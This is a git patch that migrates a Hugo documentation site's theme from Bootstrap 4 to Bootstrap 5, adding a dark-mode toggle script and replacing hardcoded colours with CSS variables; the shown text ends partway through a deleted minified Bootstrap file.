From 80a866f2aa8e084ca50c22947d8a4553e7dac3c5 Mon Sep 17 00:00:00 2001 From: rogerogers Date: Sun, 10 May 2026 00:32:27 +0800 Subject: [PATCH 01/10] feat: migrate to Bootstrap 5, implement dark mode support, and remove jQuery dependencies --- assets/js/base.js | 2 +- assets/js/dark-mode.js | 89 ++ assets/scss/_alerts.scss | 2 +- assets/scss/_boxes.scss | 20 +- assets/scss/_code.scss | 10 +- assets/scss/_colors.scss | 43 +- assets/scss/_content.scss | 4 +- assets/scss/_nav.scss | 24 +- assets/scss/_sidebar-toc.scss | 6 +- assets/scss/_sidebar-tree.scss | 20 +- assets/scss/_styles_project.scss | 38 +- assets/scss/_variables.scss | 30 +- assets/scss/home.scss | 25 +- assets/scss/main.scss | 2 +- assets/scss/markdown.scss | 24 +- assets/scss/support/_utilities.scss | 2 +- config.toml | 2 + content/en/_index.html | 2 +- content/zh/_index.html | 4 +- content/zh/css/docs.css | 2 +- layouts/_default/baseof.html | 4 +- layouts/_default/list.rss.xml | 11 +- layouts/_default/search.html | 2 +- layouts/blog/baseof.html | 8 +- layouts/blog/baseof.print.html | 6 +- layouts/blog/list.html | 4 +- layouts/community/baseof.html | 6 +- layouts/community/baseof.print.html | 6 +- layouts/docs/baseof.html | 6 +- layouts/docs/baseof.print.html | 6 +- layouts/partials/dark-mode-config.html | 14 + layouts/partials/featured-image.html | 2 +- layouts/partials/footer.html | 10 +- layouts/partials/head.html | 35 + layouts/partials/navbar-lang-selector.html | 2 +- layouts/partials/navbar-version-selector.html | 2 +- layouts/partials/navbar.html | 20 +- layouts/partials/page-meta-links.html | 2 +- layouts/partials/pager.html | 4 +- layouts/partials/scripts.html | 14 +- layouts/partials/sidebar-tree.html | 10 +- layouts/partials/sidebar.html | 34 +- layouts/partials/theme-toggler.html | 57 + layouts/security/baseof.html | 6 +- layouts/security/baseof.print.html | 6 +- layouts/shortcodes/tabs.html | 2 +- layouts/swagger/baseof.html | 6 +- package.json | 5 +- static/js/bootstrap.min.js | 6 - static/js/popper.min.js | 1318 ----------------- 50 files changed, 481 insertions(+), 1484 deletions(-) create mode 100644 assets/js/dark-mode.js create mode 100644 layouts/partials/dark-mode-config.html create mode 100644 layouts/partials/theme-toggler.html delete mode 100644 static/js/bootstrap.min.js delete mode 100644 static/js/popper.min.js diff --git a/assets/js/base.js b/assets/js/base.js index 49f27d0160d..1dc4ec09165 100644 --- a/assets/js/base.js +++ b/assets/js/base.js @@ -19,7 +19,7 @@ limitations under the License. 'use strict'; $(function() { - $('[data-toggle="tooltip"]').tooltip(); + $('[data-bs-toggle="tooltip"]').tooltip(); $('[data-toggle="popover"]').popover(); $('.popover-dismiss').popover({ diff --git a/assets/js/dark-mode.js b/assets/js/dark-mode.js new file mode 100644 index 00000000000..333358fdf5c --- /dev/null +++ b/assets/js/dark-mode.js @@ -0,0 +1,89 @@ +/*! + * This is a Docsy-adapted version of https://github.com/twbs/examples/blob/main/color-modes/js/color-modes.js. + * + * Original header: + * + * Color mode toggler for Bootstrap's docs (https://getbootstrap.com/) + * Copyright 2011-2024 The Bootstrap Authors + * Licensed under the Creative Commons Attribution 3.0 Unported License. + */ + +(() => { + 'use strict' + + const themeKey = 'td-color-theme' + const getStoredTheme = () => localStorage.getItem(themeKey) + const setStoredTheme = theme => localStorage.setItem(themeKey, theme) + + const getPreferredTheme = () => { + const storedTheme = getStoredTheme() + if (storedTheme) { + return storedTheme + } + + return window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light' + } + + const setTheme = theme => { + if (theme === 'auto') { + document.documentElement.setAttribute('data-bs-theme', (window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light')) + } else { + document.documentElement.setAttribute('data-bs-theme', theme) + } + } + + setTheme(getPreferredTheme()) + + document.documentElement.removeAttribute('data-theme-init') + + const showActiveTheme = (theme, focus = false) => { + const themeSwitcher = document.querySelector('#bd-theme') + + if (!themeSwitcher) { + return + } + + const themeSwitcherText = document.querySelector('#bd-theme-text') + const activeThemeIcon = document.querySelector('.theme-icon-active use') + const btnToActive = document.querySelector(`[data-bs-theme-value="${theme}"]`) + const svgOfActiveBtn = btnToActive.querySelector('svg use').getAttribute('href') + + document.querySelectorAll('[data-bs-theme-value]').forEach(element => { + element.classList.remove('active') + element.setAttribute('aria-pressed', 'false') + }) + + btnToActive.classList.add('active') + btnToActive.setAttribute('aria-pressed', 'true') + activeThemeIcon.setAttribute('href', svgOfActiveBtn) + if (themeSwitcherText) { + const themeSwitcherLabel = `${themeSwitcherText.textContent} (${btnToActive.dataset.bsThemeValue})` + themeSwitcher.setAttribute('aria-label', themeSwitcherLabel) + } + + if (focus) { + themeSwitcher.focus() + } + } + + window.matchMedia('(prefers-color-scheme: dark)').addEventListener('change', () => { + const storedTheme = getStoredTheme() + if (storedTheme !== 'light' && storedTheme !== 'dark') { + setTheme(getPreferredTheme()) + } + }) + + window.addEventListener('DOMContentLoaded', () => { + showActiveTheme(getPreferredTheme()) + + document.querySelectorAll('[data-bs-theme-value]') + .forEach(toggle => { + toggle.addEventListener('click', () => { + const theme = toggle.getAttribute('data-bs-theme-value') + setStoredTheme(theme) + setTheme(theme) + showActiveTheme(theme, true) + }) + }) + }) +})() diff --git a/assets/scss/_alerts.scss b/assets/scss/_alerts.scss index 5ce5cc22a2c..1d5dcba40c7 100644 --- a/assets/scss/_alerts.scss +++ b/assets/scss/_alerts.scss @@ -2,7 +2,7 @@ .alert { font-weight: $font-weight-medium; - background: $white; + background: var(--bs-body-bg); color: inherit; border-radius: 0; diff --git a/assets/scss/_boxes.scss b/assets/scss/_boxes.scss index 164b0f6f6e3..60aba0551b6 100644 --- a/assets/scss/_boxes.scss +++ b/assets/scss/_boxes.scss @@ -3,8 +3,9 @@ // box-variant creates the main style for a colored section used on the site. @mixin box-variant($parent, $color-name, $color-value) { - $text-color: color-yiq($color-value); - $link-color: mix($blue, $text-color, lightness($color-value)); + @if type-of($color-value) == 'color' { + $text-color: color-contrast($color-value); + $link-color: mix($blue, $text-color); $link-hover-color: rgba($link-color, 0.5) !default; #{$parent} { @@ -27,15 +28,24 @@ content: ""; } } + + p > a { + color: $link-color; + + &:hover, + &:focus { + color: $link-hover-color; + } + } } } - // Improve contrast for the links in paragraphs. - @include link-variant("#{$parent}--#{$color-name} p > a", $link-color, $link-hover-color, false); - @if $enable-gradients { @include bg-gradient-variant("#{$parent}--1#{$color-name}#{$parent}--gradient", $color-value,true); } + } @else { + @warn "box-variant: #{$color-value} is not a color, skipping #{$parent}--#{$color-name}"; + } } // Common min-height modifiers used for boxes. diff --git a/assets/scss/_code.scss b/assets/scss/_code.scss index d491beeb458..d5bc853f757 100644 --- a/assets/scss/_code.scss +++ b/assets/scss/_code.scss @@ -1,5 +1,11 @@ // Code formatting. +@if $enable-dark-mode { + @include color-mode(dark, true) { + --td-pre-bg: #{adjust-color($gray-900, $lightness: -2.5%)}; + } +} + .td-content { // Highlighted code. .highlight { @@ -21,7 +27,7 @@ margin: 0; font-size: 85%; word-break: normal; - background-color: rgba($black, 0.05); + background-color: var(--td-pre-bg); border-radius: $border-radius; br { @@ -33,7 +39,7 @@ // Code blocks pre { word-wrap: normal; - background-color: $gray-100; + background-color: var(--td-pre-bg); padding: $spacer; diff --git a/assets/scss/_colors.scss b/assets/scss/_colors.scss index 3f34aa84e30..37b49399443 100644 --- a/assets/scss/_colors.scss +++ b/assets/scss/_colors.scss @@ -1,21 +1,31 @@ // Add some local palette classes so you can do -bg-warning -text-warning etc. Even -bg-1 if you want to paint by numbers. @mixin palette-variant($color-name, $color-value) { - $text-color: color-yiq($color-value); - $link-color: mix($blue, $text-color, lightness($color-value)); - - $link-hover-color: rgba($link-color, .5) !default; - - .-bg-#{$color-name} { - color: $text-color; - background-color: $color-value; - } - - // Make links in paragraphs stand out more. - @include link-variant(".-bg-#{$color-name} p > a", $link-color, $link-hover-color, false); - - - .-text-#{$color-name} { - color: $color-value; + // Ensure $color-value is a valid Sass color before using color functions + @if type-of($color-value) == 'color' { + $text-color: color-contrast($color-value); + $link-color: mix($blue, $text-color); + + $link-hover-color: rgba($link-color, .5) !default; + + .-bg-#{$color-name} { + color: $text-color; + background-color: $color-value; + + p > a { + color: $link-color; + + &:hover, + &:focus { + color: $link-hover-color; + } + } + } + + .-text-#{$color-name} { + color: $color-value; + } + } @else { + @warn "palette-variant: #{$color-value} is not a color, skipping .-bg-#{$color-name} and .-text-#{$color-name}"; } } @@ -35,7 +45,6 @@ @for $i from 1 through length($td-box-colors) { $value: nth($td-box-colors, $i); $name: $i - 1; - $text-color: color-yiq($value); @include palette-variant($name, $value); } \ No newline at end of file diff --git a/assets/scss/_content.scss b/assets/scss/_content.scss index 3e72e00ebb3..20e87c67433 100644 --- a/assets/scss/_content.scss +++ b/assets/scss/_content.scss @@ -46,8 +46,8 @@ > blockquote { padding: 0 0 0 1rem; margin-bottom: $spacer; - color: $gray-600; - border-left: 6px solid $secondary; + color: var(--bs-secondary-color); + border-left: 6px solid var(--bs-primary); } > ul li, > ol li { diff --git a/assets/scss/_nav.scss b/assets/scss/_nav.scss index 59b54d6ebc9..ad7b55e2fd2 100644 --- a/assets/scss/_nav.scss +++ b/assets/scss/_nav.scss @@ -79,7 +79,7 @@ min-width: 100px; } - @include media-breakpoint-down(md) { + @include media-breakpoint-down(lg) { padding-right: 0.5rem; padding-left: 0.75rem; @@ -103,6 +103,20 @@ } } } + + // Theme toggler styles + .td-navbar__light-dark-menu { + .bi { + width: 1em; + height: 1em; + vertical-align: -0.125em; + fill: currentcolor; + } + + .dropdown-menu { + min-width: 8rem; + } + } } // Icons @@ -195,7 +209,7 @@ nav.foldable-nav { padding-left: 0.4em; padding-right: 0.4em; font-size: 1em; - color: $gray-900; + color: var(--bs-body-color); transition: all 0.5s; &:hover { transform: rotate(90deg); @@ -203,7 +217,7 @@ nav.foldable-nav { } .ul-1 .with-child > input:checked ~ label:before { - color: $primary; + color: var(--bs-primary); transform: rotate(90deg); transition: transform 0.5s; } @@ -216,13 +230,13 @@ nav.foldable-nav { @media (hover: hover) and (pointer: fine) { nav.foldable-nav { .ul-1 .with-child > label:hover:before { - color: $primary; + color: var(--bs-primary); transform: rotate(30deg); transition: transform 0.5s; } .ul-1 .with-child > input:checked ~ label:hover:before { - color: $primary; + color: var(--bs-primary); transform: rotate(60deg) !important; transition: transform 0.5s; } diff --git a/assets/scss/_sidebar-toc.scss b/assets/scss/_sidebar-toc.scss index 618604c04cf..c1001ccba92 100644 --- a/assets/scss/_sidebar-toc.scss +++ b/assets/scss/_sidebar-toc.scss @@ -2,7 +2,7 @@ // Right side toc // .td-sidebar-toc { - border-left: 1px solid $border-color; + border-left: 1px solid var(--bs-border-color); @supports (position: sticky) { position: sticky; @@ -47,10 +47,10 @@ > ul > li > ul > li > a {} a { - color: $gray-600; + color: var(--bs-secondary-color); &:hover { - color: $blue; + color: var(--bs-link-color); text-decoration: none; } } diff --git a/assets/scss/_sidebar-tree.scss b/assets/scss/_sidebar-tree.scss index 1c82ad68c08..52c5addb659 100644 --- a/assets/scss/_sidebar-tree.scss +++ b/assets/scss/_sidebar-tree.scss @@ -49,7 +49,7 @@ } a { - color: $gray-900; + color: var(--bs-secondary-color); } } @@ -58,7 +58,7 @@ padding-bottom: 0.375rem; &__page { - color: $gray-700; + color: var(--bs-body-color); font-weight: $font-weight-light; font-size: $font-14; } @@ -66,19 +66,19 @@ a { &:hover { - color: $blue; + color: var(--bs-link-color); text-decoration: none; } &.active { - color: blue; + color: var(--bs-link-color); font-weight: $font-weight-bold; } } .dropdown { a { - color: $gray-700; + color: var(--bs-body-color); } .nav-link { @@ -103,7 +103,7 @@ .td-sidebar-link.tree-root{ font-weight: $font-weight-bold; color: $td-sidebar-tree-root-color; - border-bottom: 1px $td-sidebar-tree-root-color solid; + border-bottom: 1px solid var(--bs-tertiary-color); margin-bottom: 1rem; } } @@ -111,9 +111,9 @@ .td-sidebar { @include media-breakpoint-up(md) { padding-top: 4rem; - background-color: $td-sidebar-bg-color; + background-color: var(--bs-body-bg); padding-right: 1rem; - border-right: 1px solid $td-sidebar-border-color; + border-right: 1px solid var(--bs-border-color); } @@ -121,7 +121,7 @@ &__toggle { line-height: 1; - color: $gray-900; + color: var(--bs-body-color); margin: 1rem; } @@ -157,7 +157,7 @@ #content-desktop {display: block;} #content-mobile {display: none;} - @include media-breakpoint-down(md) { + @include media-breakpoint-down(lg) { #content-desktop {display: none;} #content-mobile {display: block;} diff --git a/assets/scss/_styles_project.scss b/assets/scss/_styles_project.scss index d9f6d793e1d..67a8443cdfb 100644 --- a/assets/scss/_styles_project.scss +++ b/assets/scss/_styles_project.scss @@ -15,7 +15,7 @@ assets/scss/_styles_project.scss top: 4rem; } - background: $gray-100; + background: var(--bs-tertiary-bg); text-align: center; & p { @@ -57,3 +57,39 @@ pre.mermaid { top: 1rem; z-index: 10; } + +// Dark mode color adjustments +@if $enable-dark-mode { + @include color-mode(dark) { + // Improve box shadow contrast in dark mode + --bs-box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.8); + --bs-box-shadow-sm: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.8); + --bs-box-shadow-lg: 0 1rem 3rem rgba(0, 0, 0, 0.8); + + // Adjust primary/secondary for better contrast in dark mode + --bs-primary: #{tint-color($primary, 20%)}; + + // Fix hardcoded white/light backgrounds in sections + .td-box--white, + .td-box--light { + background-color: var(--bs-body-bg) !important; + color: var(--bs-body-color) !important; + } + + // Ensure footer custom icon images are visible + .bg-dark { + img[src$=".svg"] { + filter: brightness(0) invert(1); + } + } + + // Cloudwego link colors for dark mode + a.cloudwego-link { + color: #6db8f0; + } + + a.cloudwego-link:hover { + color: #a8d4f7; + } + } +} diff --git a/assets/scss/_variables.scss b/assets/scss/_variables.scss index db9e8aac66a..ca344fcd0ef 100644 --- a/assets/scss/_variables.scss +++ b/assets/scss/_variables.scss @@ -6,10 +6,11 @@ See https://github.com/twbs/bootstrap/pull/23260 @fa-font-path : "../webfonts"; -// Bootstrap flags. For more, see https://getbootstrap.com/docs/4.0/getting-started/theming/ +// Bootstrap flags. For more, see https://getbootstrap.com/docs/5.3/customize/options/ $enable-gradients: true !default; $enable-rounded: true !default; $enable-shadows: true !default; +$enable-dark-mode: true !default; // Theme flags. @@ -100,14 +101,15 @@ $h6-font-size: $font-size-base !default; // Display styles -$display1-weight: $font-weight-bold !default; -$display2-weight: $font-weight-bold !default; -$display3-weight: $font-weight-bold !default; -$display4-weight: $font-weight-bold !default; -$display1-size: 3rem !default; -$display2-size: 2.5rem !default; -$display3-size: 2rem !default; -$display4-size: 1.75rem !default; +$display-font-weight: $font-weight-bold !default; +$display-font-sizes: ( + 1: 3rem, + 2: 2.5rem, + 3: 2rem, + 4: 1.75rem, + 5: 1.5rem, + 6: 1.25rem +) !default; // Space @@ -129,5 +131,11 @@ $navbar-dark-hover-color: rgba($white, 0.5) !default; $navbar-dark-active-color: $white !default; $navbar-dark-disabled-color: rgba($white, 0.25) !default; -// The yiq lightness value that determines when the lightness of color changes from "dark" to "light". -$yiq-contrasted-threshold: 200 !default; +// The minimum contrast ratio for text readability. +$min-contrast-ratio: 3 !default; + +// Dark mode pre bg +:root, +[data-bs-theme='light'] { + --td-pre-bg: var(--bs-tertiary-bg); +} diff --git a/assets/scss/home.scss b/assets/scss/home.scss index 2485ee3ca52..7be70d8c06b 100644 --- a/assets/scss/home.scss +++ b/assets/scss/home.scss @@ -79,8 +79,8 @@ margin: 0 8px; padding: 16px; max-width: calc(25% - 16px); - box-shadow: 0 0 4px #eee; - border: 1px solid #f0f0f0; + box-shadow: 0 0 4px var(--bs-tertiary-bg); + border: 1px solid var(--bs-border-color); } .home-project-item a { @@ -90,7 +90,7 @@ .home-project-item h2 { font-weight: 300; - color: #3c8fa8; + color: var(--bs-primary); font-size: 25px; white-space: nowrap; overflow: hidden; @@ -100,7 +100,7 @@ .home-project-item .fa { margin-right: 5px; - color: #3c8fa8; + color: var(--bs-primary); } .home-project-item p { @@ -109,16 +109,16 @@ text-rendering: optimizeLegibility; -webkit-font-smoothing: antialiased; margin-bottom: unset; - color: #000; + color: var(--bs-body-color); } .home-project-item:hover { transition: 0.4s all; - background-color: #63b0c7; + background-color: var(--bs-primary); border-radius: 3px; color: #fff; - box-shadow: 0 0 4px #80c6db; - border: 1px solid #63b0c7; + box-shadow: 0 0 4px var(--bs-primary); + border: 1px solid var(--bs-primary); } .home-project-item:hover p, @@ -152,7 +152,7 @@ .home-used-by-wrapper { padding: 0 15vw !important; display: flex; - flex-direction: column; + flex-direction: row; flex-wrap: wrap; justify-content: center; align-items: center; @@ -165,7 +165,6 @@ .home-used-by-item { margin: 8px 16px; - border: 1px solid #fff; text-align: center; padding: 16px; } @@ -177,8 +176,8 @@ .home-used-by-item:hover { border-radius: 3px; - box-shadow: 0 0 4px #f3f4f5; - border: 1px solid #e0e2e6; + box-shadow: 0 0 4px var(--bs-tertiary-bg); + border: 1px solid var(--bs-border-color); } // footer section @@ -197,7 +196,7 @@ font-size: 1.5rem; padding-bottom: 16px; margin-bottom: 16px; - border-bottom: 2px solid #acacac; + border-bottom: 2px solid var(--bs-border-color); } .home-footer-links-item ul { diff --git a/assets/scss/main.scss b/assets/scss/main.scss index ea4a033c3d8..133ba5d754b 100644 --- a/assets/scss/main.scss +++ b/assets/scss/main.scss @@ -46,7 +46,7 @@ html { footer { min-height: 150px; - @include media-breakpoint-down(md) { + @include media-breakpoint-down(lg) { min-height: 200px; } } diff --git a/assets/scss/markdown.scss b/assets/scss/markdown.scss index f903a83f79f..48bc90e8b08 100644 --- a/assets/scss/markdown.scss +++ b/assets/scss/markdown.scss @@ -22,8 +22,8 @@ .markdown div[class*=language-] { margin-bottom: 16px; - background: rgba(225,230,238,.3); - border: 1px solid #979797; + background: var(--bs-tertiary-bg); + border: 1px solid var(--bs-border-color); border-radius: 0 } @@ -46,7 +46,7 @@ } .markdown div[class*=language-] pre code { - color: rgba(0,0,0,.5) + color: var(--bs-secondary-color) } .markdown h2 { @@ -107,7 +107,7 @@ .markdown ol li,.markdown p,.markdown ul li { font-size: 14px; - color: rgba(0,0,0,.5); + color: var(--bs-secondary-color); line-height: 24px; letter-spacing: .8px } @@ -119,13 +119,13 @@ } .markdown ol li a,.markdown p a,.markdown ul li a { - color: #002fa7; + color: var(--bs-link-color); text-decoration: none; cursor: pointer } .markdown ol li b,.markdown p b,.markdown ul li b { - color: #000 + color: var(--bs-body-color) } .markdown .icon.outbound,.markdown a[href^="#"] { @@ -148,7 +148,7 @@ .markdown table tr { height: 60px; - color: rgba(0,0,0,.5) + color: var(--bs-secondary-color) } @media (max-width:1000px) { @@ -158,8 +158,8 @@ } .markdown table tr th { - background-color: #f2f2f2; - color: #000 + background-color: var(--bs-tertiary-bg); + color: var(--bs-body-color) } .markdown table tr td,.markdown table tr th { @@ -173,7 +173,7 @@ } .markdown table tr:nth-child(2n) td,.markdown table tr:nth-child(2n) th { - background-color: #f2f2f2 + background-color: var(--bs-tertiary-bg) } .markdown ol,.markdown ul { @@ -226,7 +226,7 @@ top:120px; font-size:60px; line-height:60px; - color:rgba(0,0,0,.05) + color: var(--bs-tertiary-color) } .common-banner .banner .outside { position:absolute; @@ -234,7 +234,7 @@ top:156px; font-size:48px; line-height:48px; - color:#000; + color: var(--bs-body-color); font-weight:400 } .common-banner .banner-mobile { diff --git a/assets/scss/support/_utilities.scss b/assets/scss/support/_utilities.scss index d99a0d56b53..379cd38e599 100644 --- a/assets/scss/support/_utilities.scss +++ b/assets/scss/support/_utilities.scss @@ -31,7 +31,7 @@ .td-border-top { border: none; - border-top: 1px solid #eee; + border-top: 1px solid var(--bs-border-color); } .td-border-none { diff --git a/config.toml b/config.toml index 2512bc848cb..7943a46cc56 100644 --- a/config.toml +++ b/config.toml @@ -181,6 +181,8 @@ sidebar_search_disable = true navbar_logo = "/img/logo.png" # Set to true to disable the About link in the site footer footer_about_disable = true +# Set to true to show the light/dark mode toggle menu in the navbar +showLightDarkModeMenu = true # Adds a H2 section titled "Feedback" to the bottom of each doc. The responses are sent to Google Analytics as events. # This feature depends on [services.googleAnalytics] and will be disabled if "services.googleAnalytics.id" is not set. diff --git a/content/en/_index.html b/content/en/_index.html index f5770d405c3..d3d47db32f8 100644 --- a/content/en/_index.html +++ b/content/en/_index.html @@ -129,7 +129,7 @@

And more!

{{< blocks/section color="white" type="home-logo-warp">}}

Created by

-
+
diff --git a/content/zh/_index.html b/content/zh/_index.html index 033a06947c1..560c7785d32 100644 --- a/content/zh/_index.html +++ b/content/zh/_index.html @@ -129,13 +129,13 @@

其它

{{< blocks/section color="white" type="home-logo-warp">}}

出品方

-
+

谁在用

-
+
diff --git a/content/zh/css/docs.css b/content/zh/css/docs.css index 224a3cd1d66..afa919abcf3 100644 --- a/content/zh/css/docs.css +++ b/content/zh/css/docs.css @@ -96,7 +96,7 @@ .home-used-by-wrapper { padding: 0 15vw !important; display: flex; - flex-direction: column; + flex-direction: row; flex-wrap: wrap; justify-content: center; align-items: center; diff --git a/layouts/_default/baseof.html b/layouts/_default/baseof.html index 0debe8e76c2..e1ff655bbe2 100644 --- a/layouts/_default/baseof.html +++ b/layouts/_default/baseof.html @@ -1,5 +1,7 @@ - + {{ partial "head.html" . }} diff --git a/layouts/_default/list.rss.xml b/layouts/_default/list.rss.xml index b74bc357941..5373a9393e1 100644 --- a/layouts/_default/list.rss.xml +++ b/layouts/_default/list.rss.xml @@ -2,15 +2,13 @@ {{ .Site.Title }} – {{ .Title }} {{ .Permalink }} - Recent content {{ if ne .Title .Site.Title }}{{ with .Title }}in {{.}} {{ end }}{{ end }}on {{ .Site.Title }} + Recent content {{ if ne .Title .Site.Title }}{{ with .Title }}in {{.}} {{ end }}{{ end }}on {{ .Site.Title }} Hugo -- gohugo.io{{ with .Site.LanguageCode }} - {{.}}{{end}}{{ with .Site.Author.email }} - {{.}}{{ with $.Site.Author.name }} ({{.}}){{end}}{{end}}{{ with .Site.Author.email }} - {{.}}{{ with $.Site.Author.name }} ({{.}}){{end}}{{end}}{{ with .Site.Copyright }} + {{.}}{{end}}{{ with .Site.Copyright }} {{.}}{{end}}{{ if not .Date.IsZero }} {{ .Date.Format "Mon, 02 Jan 2006 15:04:05 -0700" | safeHTML }}{{ end }} {{ with .OutputFormats.Get "RSS" }} - {{ printf "" .Permalink .MediaType | safeHTML }} + {{ printf "" .Permalink .MediaType | safeHTML }} {{ end }} {{ if not $.Section }} {{ $sections := .Site.Params.rss_sections | default (slice "blog") }} @@ -22,12 +20,11 @@ {{ .Scratch.Set "rss_pages" (first 50 $.Pages) }} {{ end }} {{ end }} - {{ range (.Scratch.Get "rss_pages") }} + {{ range (.Scratch.Get "rss_pages") }} {{ .Section | title }}: {{ .Title }} {{ .Permalink }} {{ .Date.Format "Mon, 02 Jan 2006 15:04:05 -0700" | safeHTML }} - {{ with .Site.Author.email }}{{.}}{{ with $.Site.Author.name }} ({{.}}){{end}}{{end}} {{ .Permalink }} {{ $img := (.Resources.ByType "image").GetMatch "*featured*" }} diff --git a/layouts/_default/search.html b/layouts/_default/search.html index 395c398df93..2ea0a5c1222 100644 --- a/layouts/_default/search.html +++ b/layouts/_default/search.html @@ -1,7 +1,7 @@ {{ define "main" }}
-

{{ .Title }}

+

{{ .Title }}

{{ with .Site.Params.gcs_engine_id }} +{{ end -}} + {{ range .AlternativeOutputFormats -}} {{ end -}} diff --git a/layouts/partials/navbar-lang-selector.html b/layouts/partials/navbar-lang-selector.html index dc592947fa0..b7acbfa4b99 100644 --- a/layouts/partials/navbar-lang-selector.html +++ b/layouts/partials/navbar-lang-selector.html @@ -1,6 +1,6 @@ {{/* Link directly to documentation etc., if possible. */}} {{ $langPage := cond (gt (len .Translations) 0) . .Site.Home }} - diff --git a/layouts/shortcodes/tabs.html b/layouts/shortcodes/tabs.html index fba45be69ed..a33cbbf583e 100644 --- a/layouts/shortcodes/tabs.html +++ b/layouts/shortcodes/tabs.html @@ -11,7 +11,7 @@ {{- $tabid := printf "%s-%s-tab" $guid $entry | anchorize -}} {{- $entryid := printf "%s-%s" $guid $entry | anchorize -}} {{ . }} diff --git a/layouts/swagger/baseof.html b/layouts/swagger/baseof.html index 704cccacc4e..3632e7adabf 100644 --- a/layouts/swagger/baseof.html +++ b/layouts/swagger/baseof.html @@ -1,5 +1,7 @@ - + {{ partial "head.html" . }} {{ if .IsHome }}{{ .Site.Title }}{{ else }}{{ with .Title }}{{ . }} | {{ end }}{{ .Site.Title }}{{ end }} @@ -20,7 +22,7 @@ {{ partial "toc.html" . }} -
+
{{ if not .Site.Params.ui.breadcrumb_disable }}{{ partial "breadcrumb.html" . }}{{ end }} diff --git a/package.json b/package.json index 3bfd294033e..e43483961b2 100644 --- a/package.json +++ b/package.json @@ -33,7 +33,6 @@ }, "dependencies": { "@fortawesome/fontawesome-free": "6.7.2", - "bootstrap": "4.6.2" + "bootstrap": "5.3.8" } -} - +} \ No newline at end of file diff --git a/static/js/bootstrap.min.js b/static/js/bootstrap.min.js deleted file mode 100644 index a342f3b82c5..00000000000 --- a/static/js/bootstrap.min.js +++ /dev/null @@ -1,6 +0,0 @@ -/*! - * Bootstrap v4.6.0 (https://getbootstrap.com/) - * Copyright 2011-2021 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) - * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) - */ -!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e((t="undefined"!=typeof globalThis?globalThis:t||self).bootstrap={},t.jQuery,t.Popper)}(this,(function(t,e,n){"use strict";function i(t){return t&&"object"==typeof t&&"default"in t?t:{default:t}}var o=i(e),a=i(n);function s(t,e){for(var n=0;n=4)throw new Error("Bootstrap's JavaScript requires at least jQuery v1.9.1 but less than v4.0.0")}};d.jQueryDetection(),o.default.fn.emulateTransitionEnd=u,o.default.event.special[d.TRANSITION_END]={bindType:"transitionend",delegateType:"transitionend",handle:function(t){if(o.default(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}};var f="alert",c=o.default.fn[f],h=function(){function t(t){this._element=t}var e=t.prototype;return e.close=function(t){var e=this._element;t&&(e=this._getRootElement(t)),this._triggerCloseEvent(e).isDefaultPrevented()||this._removeElement(e)},e.dispose=function(){o.default.removeData(this._element,"bs.alert"),this._element=null},e._getRootElement=function(t){var e=d.getSelectorFromElement(t),n=!1;return e&&(n=document.querySelector(e)),n||(n=o.default(t).closest(".alert")[0]),n},e._triggerCloseEvent=function(t){var e=o.default.Event("close.bs.alert");return o.default(t).trigger(e),e},e._removeElement=function(t){var e=this;if(o.default(t).removeClass("show"),o.default(t).hasClass("fade")){var n=d.getTransitionDurationFromElement(t);o.default(t).one(d.TRANSITION_END,(function(n){return e._destroyElement(t,n)})).emulateTransitionEnd(n)}else this._destroyElement(t)},e._destroyElement=function(t){o.default(t).detach().trigger("closed.bs.alert").remove()},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this),i=n.data("bs.alert");i||(i=new t(this),n.data("bs.alert",i)),"close"===e&&i[e](this)}))},t._handleDismiss=function(t){return function(e){e&&e.preventDefault(),t.close(this)}},l(t,null,[{key:"VERSION",get:function(){return"4.6.0"}}]),t}();o.default(document).on("click.bs.alert.data-api",'[data-dismiss="alert"]',h._handleDismiss(new h)),o.default.fn[f]=h._jQueryInterface,o.default.fn[f].Constructor=h,o.default.fn[f].noConflict=function(){return o.default.fn[f]=c,h._jQueryInterface};var g=o.default.fn.button,m=function(){function t(t){this._element=t,this.shouldAvoidTriggerChange=!1}var e=t.prototype;return e.toggle=function(){var t=!0,e=!0,n=o.default(this._element).closest('[data-toggle="buttons"]')[0];if(n){var i=this._element.querySelector('input:not([type="hidden"])');if(i){if("radio"===i.type)if(i.checked&&this._element.classList.contains("active"))t=!1;else{var a=n.querySelector(".active");a&&o.default(a).removeClass("active")}t&&("checkbox"!==i.type&&"radio"!==i.type||(i.checked=!this._element.classList.contains("active")),this.shouldAvoidTriggerChange||o.default(i).trigger("change")),i.focus(),e=!1}}this._element.hasAttribute("disabled")||this._element.classList.contains("disabled")||(e&&this._element.setAttribute("aria-pressed",!this._element.classList.contains("active")),t&&o.default(this._element).toggleClass("active"))},e.dispose=function(){o.default.removeData(this._element,"bs.button"),this._element=null},t._jQueryInterface=function(e,n){return this.each((function(){var i=o.default(this),a=i.data("bs.button");a||(a=new t(this),i.data("bs.button",a)),a.shouldAvoidTriggerChange=n,"toggle"===e&&a[e]()}))},l(t,null,[{key:"VERSION",get:function(){return"4.6.0"}}]),t}();o.default(document).on("click.bs.button.data-api",'[data-toggle^="button"]',(function(t){var e=t.target,n=e;if(o.default(e).hasClass("btn")||(e=o.default(e).closest(".btn")[0]),!e||e.hasAttribute("disabled")||e.classList.contains("disabled"))t.preventDefault();else{var i=e.querySelector('input:not([type="hidden"])');if(i&&(i.hasAttribute("disabled")||i.classList.contains("disabled")))return void t.preventDefault();"INPUT"!==n.tagName&&"LABEL"===e.tagName||m._jQueryInterface.call(o.default(e),"toggle","INPUT"===n.tagName)}})).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',(function(t){var e=o.default(t.target).closest(".btn")[0];o.default(e).toggleClass("focus",/^focus(in)?$/.test(t.type))})),o.default(window).on("load.bs.button.data-api",(function(){for(var t=[].slice.call(document.querySelectorAll('[data-toggle="buttons"] .btn')),e=0,n=t.length;e0,this._pointerEvent=Boolean(window.PointerEvent||window.MSPointerEvent),this._addEventListeners()}var e=t.prototype;return 